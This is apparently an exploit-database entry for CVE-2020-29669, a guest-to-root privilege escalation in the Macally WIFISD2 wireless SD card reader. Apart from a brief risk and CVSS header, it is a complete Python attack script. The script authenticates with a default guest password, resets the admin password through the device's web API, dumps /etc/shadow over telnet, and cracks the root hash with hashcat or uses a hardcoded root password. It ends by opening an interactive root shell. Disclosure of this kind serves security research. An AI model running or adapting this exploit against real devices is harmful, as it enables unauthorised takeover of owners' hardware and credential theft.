Macally WIFISD2-2A82 2.000.010 Privilege Escalation

2020.12.15
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Macally WIFISD2-2A82 2.000.010 - Guest to Root Privilege Escalation # Date: 03.12.2020 # Exploit Author: Maximilian Barz and Daniel Schwendner # Vendor Homepage: https://us.macally.com/products/wifisd2 # Version: 2.000.010 # Tested on: Kali Linux 5.7.0-kali1-amd64 # CVE : CVE-2020-29669 # Reference: https://github.com/S1lkys/CVE-2020-29669/ #!/usr/bin/env/python3 import requests import telnetlib import os import sys import re banner = '''\033[94m ██████ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄▄▄▄ █ ██ ██▀███ ██████ ▄▄▄█████▓ ▒██ ▒ ▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▓█████▄ ██ ▓██▒▓██ ▒ ██▒▒██ ▒ ▓ ██▒ ▓▒ ░ ▓██▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒██▒ ▄██▓██ ▒██░▓██ ░▄█ ▒░ ▓██▄ ▒ ▓██░ ▒░ ▒ ██▒░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ▒██░█▀ ▓▓█ ░██░▒██▀▀█▄ ▒ ██▒░ ▓██▓ ░ ▒██████▒▒ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒░▓█ ▀█▓▒▒█████▓ ░██▓ ▒██▒▒██████▒▒ ▒██▒ ░ ▒ ▒▓▒ ▒ ░ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░▒▓███▀▒░▒▓▒ ▒ ▒ ░ ▒▓ ░▒▓░▒ ▒▓▒ ▒ ░ ▒ ░░ ░ ░▒ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░▒░▒ ░ ░░▒░ ░ ░ ░▒ ░ ▒░░ ░▒ ░ ░ ░ ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░░░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ \x1b[0m Macally WIFISD2 Guest to Root Privilege Escalation for CVE-2020-29669 by Maximilian Barz and Daniel Schwendner ''' def main(): if(len(sys.argv) < 2): print(banner) print("Usage: %s <host> " % sys.argv[0]) print("Eg: %s 1.2.3.4 " % sys.argv[0]) return rhost = sys.argv[1] session = requests.Session() guest_creds = "guest_pass" admin_pass_to_set = "Silky123" def send_requests(): url = "http://"+rhost+"/protocol.csp?function=set" payload = {'fname':'security','opt':'pwdchk','name':'guest','pwd1':guest_creds,'function':'set'} headers = { 'Host': rhost, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Referer': 'http://'+rhost+'/index.html', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '65', 'Connection': 'close', 'Cache-Control': 'no-cache', } r= session.post(url, payload, headers) if (b"<errno>0</errno>" in r.content): print("\033[92m[+] Authentication successful\x1b[0m") print("\t"+str(session.cookies.get_dict())) else: print("\033[91m[+] Authentication failed.\x1b[0m") sys.exit() url = "http://"+rhost+"/protocol.csp?fname=security&function=set" payload = {'name':'admin','opt':'pwdmod','pwd1':admin_pass_to_set,'pwd2':admin_pass_to_set} headers = { 'Host': rhost, 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Referer': 'http://'+rhost+'/app/user/guest.html', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '49', 'Connection': 'close', 'Cache-Control': 'no-cache', } d = session.post(url, payload, headers) if (b"<errno>0</errno>" in d.content): print("\033[92m[+] Admin Password changed to: "+admin_pass_to_set+"\x1b[0m") telnet_grep_root_hash() #print("[+] Spawning Admin Shell") #telnet_login() else: print("\033[91m[+] Admin Password change failed\x1b[0m") sys.exit() def telnet_grep_root_hash(): user = "admin" tn = telnetlib.Telnet(rhost) tn.read_until(b"login: ") tn.write(user.encode('ascii') + b"\n") tn.read_until(b"Password: ") tn.write(admin_pass_to_set.encode('ascii') + b"\n") print("\033[92m[+] Dumping Hashes:\x1b[0m") tn.write(b"cat /etc/shadow\n\r") tn.write(b"exit\n") output = tn.read_all().decode('ascii') L = output.split('\n') for hash in L: if ":" in hash: print("\t"+hash) print("\n\r") for hash in L: if "root" in hash: print("\033[92m[+] Root Hash found, trying to crack it..\x1b[0m") print("\t"+hash) #root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7::: f = open("root_hash","w+") f.write(hash) f.close() crack_root_hash(); def crack_root_hash(): f = open("root_hash", "r") hash = f.read() if ("root:$1$D0o034Sm$LY0jyeFPifEXVmdgUfSEj/:15386:0:99999:7:::" in hash): print("\033[92mRoot Password: 20080826\x1b[0m\n") telnet_login() else: os.system("hashcat -a 0 -m 500 root_hash /root/tools/routersploit/routersploit/resources/wordlists/passwords.txt") #https://github.com/threat9/routersploit/blob/master/routersploit/resources/wordlists/passwords.txt def telnet_login(): print("\033[92m[+] Spawning Rootshell\x1b[0m") user = "root" root_password="20080826" tn = telnetlib.Telnet(rhost) tn.read_until(b"login: ") tn.write(user.encode('ascii') + b"\n") tn.read_until(b"Password: ") tn.write(root_password.encode('ascii') + b"\n") tn.interact() print(banner) send_requests() if(__name__ == '__main__'): main()


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